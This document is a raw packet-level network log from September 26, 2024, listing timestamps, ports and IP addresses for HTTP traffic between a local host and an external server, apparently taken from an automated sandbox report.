Sep 26, 2024 07:47:21.292639017 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292654037 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292675972 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292689085 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292685986 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292736053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292736053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292736053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292736053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292773008 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292785883 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292807102 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292819023 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292830944 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292839050 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292927027 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292953968 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292964935 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.292968035 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.292996883 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293000937 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293051958 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293067932 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293093920 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293095112 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293095112 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293289900 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293303013 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293328047 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293351889 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293365002 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293370008 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293380976 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293396950 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293411970 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293421984 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293428898 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293436050 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293447018 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293461084 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293473005 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293483019 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293490887 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293494940 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293499947 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293515921 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293519974 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293529987 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293544054 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293556929 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293559074 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293580055 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293582916 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293590069 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293618917 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293637037 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293648958 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293668985 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293678045 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293680906 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293694019 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293704987 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293705940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293716908 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293723106 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293742895 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293766975 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293795109 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293802977 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293814898 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293838024 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293838978 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293847084 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293864012 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293874025 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293895960 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293909073 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293929100 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293940067 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293956041 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.293960094 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293970108 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.293988943 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294003963 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294049978 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294060946 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294080019 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294100046 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294117928 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294203043 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294228077 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294240952 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294250011 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294262886 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294272900 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294276953 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294315100 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294401884 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294451952 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294497967 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294511080 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294532061 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294543028 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294549942 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294565916 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294572115 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294579029 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294591904 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294606924 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294625044 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294641018 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294651031 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294670105 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294682026 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294688940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294703007 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294724941 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294754028 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294754982 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294766903 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294785976 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294795990 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294796944 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294816971 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294827938 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294845104 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294846058 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294857979 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294862986 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294881105 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294883013 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294892073 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294894934 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294914961 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294919014 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294939041 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294939041 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294953108 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.294954062 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294981003 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.294997931 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.295032024 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.295044899 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.295078993 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.295085907 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.295167923 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.295180082 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.295218945 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.295262098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.295286894 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.295331955 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.295340061 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.295382023 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.295486927 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443336010 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443355083 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443412066 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443429947 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443443060 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443454027 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443470955 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443490982 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443502903 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443517923 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443540096 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443551064 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443567991 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443577051 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443584919 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443597078 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443568945 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443568945 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443568945 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443568945 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443568945 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443645954 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443645954 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443645954 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443645954 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443682909 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443692923 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443717957 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443727970 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443744898 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443753958 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.443810940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443810940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443810940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443810940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443810940 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.443929911 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590198994 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590348959 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590382099 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590379953 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590411901 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590432882 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590434074 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590434074 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590449095 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590456963 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590476036 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590481997 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590502024 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590514898 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590517998 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590533018 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590557098 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590569973 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590578079 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590589046 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590612888 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590617895 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590626001 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590639114 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590651989 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590661049 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590684891 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590694904 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590697050 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590723991 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590737104 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590749979 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590766907 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590783119 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590787888 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590801954 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590823889 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590828896 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590842962 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590848923 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590872049 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590873957 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590892076 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590897083 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590909958 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590919971 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590939045 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590939045 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590960026 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590964079 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.590979099 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.590986967 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591010094 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591022968 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591025114 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591037989 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591067076 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591078043 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591089010 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591097116 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591120005 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591125011 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591140032 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591142893 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591166973 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591176987 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591185093 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591198921 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591217995 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591218948 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591234922 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591244936 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591257095 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591265917 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591289997 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591289997 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591310024 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591312885 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591332912 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591340065 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591351032 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591358900 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591382027 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591396093 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591401100 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591435909 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591439009 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591453075 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591483116 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591485023 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591502905 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591507912 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591525078 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591531038 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591548920 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591551065 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591572046 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591577053 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591584921 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591598988 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591619015 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591622114 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.591639996 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.591659069 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.592142105 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.733841896 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.733906031 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.733925104 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.733953953 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.733983994 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.733998060 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734013081 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734025955 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734044075 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734045029 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734045029 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734052896 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734055042 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734086037 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734086037 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734097004 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734117031 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734132051 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734138012 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734158993 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734165907 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734178066 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734189034 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734203100 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734215021 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734215021 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734234095 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734246969 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734253883 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734277964 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734280109 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734297037 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734306097 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734316111 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734338045 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:21.734354019 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:21.734357119 CEST	80	49161	66.63.187.123	192.168.2.22
